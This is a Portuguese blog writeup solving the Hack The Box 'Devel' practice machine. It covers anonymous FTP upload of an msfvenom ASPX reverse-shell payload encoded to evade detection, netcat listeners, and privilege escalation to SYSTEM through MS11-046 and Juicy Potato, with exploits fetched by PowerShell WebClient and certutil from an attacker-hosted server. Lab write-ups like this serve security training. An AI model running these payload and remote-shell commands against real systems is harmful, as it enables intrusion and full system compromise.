Hack the Box – Devel Writeup (Sem uso do Metasploit)
- Arthur Souza
- Writeups
- 12 de maio de 2023
Hoje veremos o writeup completo da máquina Legacy do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Devel
Descrição
A máquina Devel, embora relativamente simples, demonstra os riscos de segurança associados a algumas configurações de programa padrão.
É uma máquina de nível iniciante que pode ser concluída usando explorações disponíveis publicamente.
Conhecimento requeridos:
- Conhecimento básico em Windows
- Enumeração de portas e serviços
Conhecimento que serão aprendidos:
- Identificação de serviços vulneráveis
- Exploração de credenciais fracas
- Técnicas básicas de escalonamento de privilégios do Windows
Reconhecimento
Inicialmente, utilizamos o Masscan para efetuar uma enumeração ágil dos serviços ativos na máquina, direcionando a saída para o arquivo “ports”
masscan -p1-65535,U:1-65535 10.10.10.5 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
Popular a variável “ports” com as portas abertas identificadas
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
Em seguida, empregamos o NMAP para realizar uma varredura dos serviços identificados
nmap -Pn -sV -sC -p$ports 10.10.10.5
Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.
Resultado do scan:
Com base no print acima, podemos observar que os serviços ativos são TCP/21 (FTP) e TCP/80 (HTTP). Além disso, ao realizarmos uma varredura com o NMAP, foi identificado que o usuário “Anonymous” está configurado como permitido, indicando que ele é um usuário ativo e pode ser utilizado para acessar o serviço em questão.
ftp 10.10.10.5
User: anonymous
Pass: anonymous
dir
Ao analisarmos a porta TCP/80 (HTTP), podemos constatar que o arquivo “iisstart.htm” presente no TCP/21(FTP) é a página principal.
Exploração (Shell inicial)
Vamos criar um arquivo .htm e enviar para o FTP, e após, tentarmos acessar via navegador.
echo "teste" > teste.htm
Podemos observar que o arquivo foi criado e enviado para o FTP sem nenhuma restrição.
A fim de verificar se os arquivos presentes no FTP podem impactar o serviço WEB, tentaremos acessar o nosso arquivo. Caso consigamos acesso, prosseguiremos para a próxima etapa da exploração, que é obter uma shell.
http://10.10.10.5/teste.htm
Agora que constatamos que novos arquivos carregados para o FTP não possuem restrições e podem ser acessados pelo navegador, podemos criar um arquivo para obter acesso à shell do sistema. Para isso, utilizaremos o msfvenom para criar um arquivo com a extensão .aspx, visto que, ao analisarmos os arquivos presentes no FTP, identificamos um diretório com o nome “aspnet_client”.
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
Para criar o arquivo para obtermos a reverse shell, utilizaremos os seguintes parâmetros:
- -f = Formato do arquivo;
- -p = Payload a ser inserido no arquivo. Neste caso, usaremos um payload padrão para reverse-shell Windows;
- LHOST = Endereço IP atribuído à sua máquina pela conexão VPN;
- LPORT = Porta na qual você colocará em modo LISTENING em sua máquina para receber a conexão reversa;
- -e = Encoder utilizado para codificar o payload e evitar que seja detectado pelo sistema de proteção da máquina;
- x86/shikata_ga_nai = Tipo de encoder que usaremos com o payload selecionado;
- -o = Out, onde atribuiremos a saída da estrutura usada para gerar o payload a um arquivo;
- shell.aspx = Nome que daremos ao arquivo que será gerado (pode ser qualquer um de sua preferência).
Após a criação do arquivo para a reverse shell, faremos o upload para o FTP.
ftp 10.10.10.5
User: anonymous
Pass: anonymous
put shell.aspx
dir
Agora que o arquivo foi enviado para o FTP, podemos colocar a porta 4443 (a mesma que selecionamos na criação do payload com o msfvenom) em modo LISTENING e acessar o arquivo pelo navegador.
Observação: É recomendado usar o RLWRAP para uma experiência de shell mais aprimorada.
Comandos para instalação caso não possuir o RLWRAP em sua máquina:
sudo apt-get update
sudo apt-get install rlwrap
Colocando a porta 443 em modo LISTENING:
rlwrap nc -lnvp 4443
Acessando o arquivo através do navegador:
http://10.10.10.5/shell.aspx
Observamos que conseguimos acessar com o usuário de acesso “iis apppool”.
Ao navegar até o diretório C:\Users, podemos identificar alguns usuários, porém, ao tentar acessar as pastas de “Administrator”, não possuímos privilégios suficientes.
Considerando que nosso acesso é limitado, podemos analisar minuciosamente o sistema para identificar possíveis brechas que possamos explorar e, assim, obter acesso privilegiado.
Para isso, utilizaremos o comando a seguir para listar detalhes do sistema operacional:
systeminfo
Com a saída que obtivemos, é possível verificar que a máquina está utilizando o sistema operacional Microsoft Windows 7 Enterprise. Além disso, a linha de versão do sistema é 6.1.7600 N/A Build 7600.
Após pesquisar na Internet por 6.1.7600 N/A Build 7600 privesc, encontramos o seguinte link: https://www.exploit-db.com/exploits/40564 .
Ao analisar o arquivo, é possível perceber que é necessário compilá-lo.
Podemos fazer o download do arquivo para a nossa máquina.
wget https://www.exploit-db.com/download/40564
Observação: O arquivo é fornecido sem a extensão binária em linguagem C, portanto, é necessário renomeá-lo.
mv 40564 40564.c
Agora podemos compilar o arquivo seguindo as instruções fornecidas na sua descrição.
i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32
Com o arquivo MS11-046.exe compilado, precisamos enviá-lo para a máquina alvo. Para fazer isso, podemos usar o Python em nossa máquina atacante para hospedar um serviço da web a partir do diretório atual. Para isso, podemos utilizar o seguinte comando:
python3 -m http.server 80
Na máquina alvo, na sessão que obtivemos anteriormente, precisamos criar uma pasta na qual teremos permissões de escrita. Isso nos permitirá criar ou fazer upload de arquivos.
cd c:\
mkdir temp
cd temp
Com o diretório criado na máquina alvo, podemos fazer upload do nosso exploit utilizando o comando PowerShell a seguir:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.18/MS11-046.exe', 'c:\temp\MS11-046.exe')"
Aqui, podemos ver que o nosso exploit foi carregado corretamente para a pasta Temp na máquina alvo.
Agora que temos o arquivo na máquina alvo, podemos executá-lo e, assim, obter acesso privilegiado.
MS11-046.exe
Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.
Exploração através do SeImpersonatePrivilege (Juicy Potato)
Como nosso acesso é limitado, faremos uma análise minuciosa do sistema para identificar possíveis brechas que possam ser exploradas, a fim de obter acesso privilegiado. Para realizar essa tarefa, utilizaremos o comando a seguir para listar detalhes sobre os privilégios disponíveis no acesso que conseguimos obter ao sistema operacional:
whoami /priv
Com este comando, é possível observar que o SeImpersonatePrivilege está ativo na máquina. Ademais, verificamos que a arquitetura do sistema operacional é de 32 bits (x86).
systeminfo
Isso significa que podemos usar o Juicy Potato.
Informações adicionais sobre a vulnerabilidade:
O privilégio SeImpersonatePrivilege permite que usuários e grupos com acesso a ele executem programas em nome de outros usuários para representá-los. Este privilégio foi introduzido no Windows 2000 SP4 e é concedido a membros do grupo de administradores locais do dispositivo, bem como à conta de serviço local do dispositivo. Além disso, serviços iniciados pelos servidores COM do Service Control Manager e configurados para serem executados em uma conta específica também têm esse direito de usuário. Este privilégio é projetado para impedir que servidores não autorizados representem clientes que se conectam a eles através de métodos como RPC ou pipes nomeados. Compreendendo o SeImpersonatePrivilege, estamos prontos para explorar a vulnerabilidade. Uma opção é fazer o download do Juicy Potato na versão de 32 bits.
O link para o projeto é: https://github.com/ivanitlearning/Juicy-Potato-x86/releases
wget https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe
Além do binário do Juicy Potato, também precisaremos utilizar o msfvenom para gerar um executável de shell reverso de 32 bits.
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1337 -f exe > reverse.exe
Observação: Lembrando que o LPORT será a porta que deveremos definir como “LISTENING” em nossa máquina atacante para estabelecer uma conexão reversa com o sistema.
Com o binário do Juicy Potato e o Shell-Reverso de 32 Bits em mãos, podemos fazer o upload dos arquivos para a máquina alvo.
Para realizar esse processo, podemos utilizar o Python em nossa máquina atacante para hospedar um serviço web a partir do diretório atual. Para isso, podemos utilizar o seguinte comando:
python3 -m http.server 80
Na máquina alvo, na sessão que obtivemos anteriormente, é necessário criar uma pasta na qual tenhamos permissões de escrita. Dessa forma, seremos capazes de criar ou fazer upload de arquivos.
cd c:\
mkdir temp
cd temp
Com o diretório criado na máquina alvo, podemos fazer o upload de nosso exploit utilizando o seguinte comando PowerShell:
certutil -f -split -urlcache http://10.10.14.18/Juicy.Potato.x86.exe C:\temp\Juicy.Potato.x86.exe
certutil -f -split -urlcache http://10.10.14.18/reverse.exe C:\temp\reverse.exe
dir
Depois de transferir o executável do Juicy Potato e nosso executável de shell reverso de nossa máquina atacante via HTTP, podemos iniciar nosso listener nc (netcat) e executar o Juicy Potato.
rlwrap nc -lnvp 1337
Observação: Aqui devemos definir em “LISTENING” a mesma porta que configuramos nas opções do msfvenom para criar o nosso shell reverso.
Para executar o comando na máquina alvo, utilize:
Juicy.Potato.x86.exe -l 1337 -p reverse.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
Observação: Podemos ver que o CLSID padrão é {4991d34b-80a1-4291-83b6-3328366b9097}. Essa informação pode ser obtida executando o seguinte comando:
Juicy.Potato.x86.exe -l 1337 -p reverse.exe
Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.
Caso necessário, há uma lista de CLSIDs que podemos utilizar no link abaixo:
https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_Enterprise
No exemplo abaixo, faremos a exploração usando o CLSID {03ca98d6-ff5d-49b8-abc6-03dd84127020}:
Juicy.Potato.x86.exe -l 1337 -p reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
Flags do sistema
Flag user.txt
type c:\users\babis\desktop\user.txt
Flag root.xt
type c:\users\administrator\desktop\root.txt
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !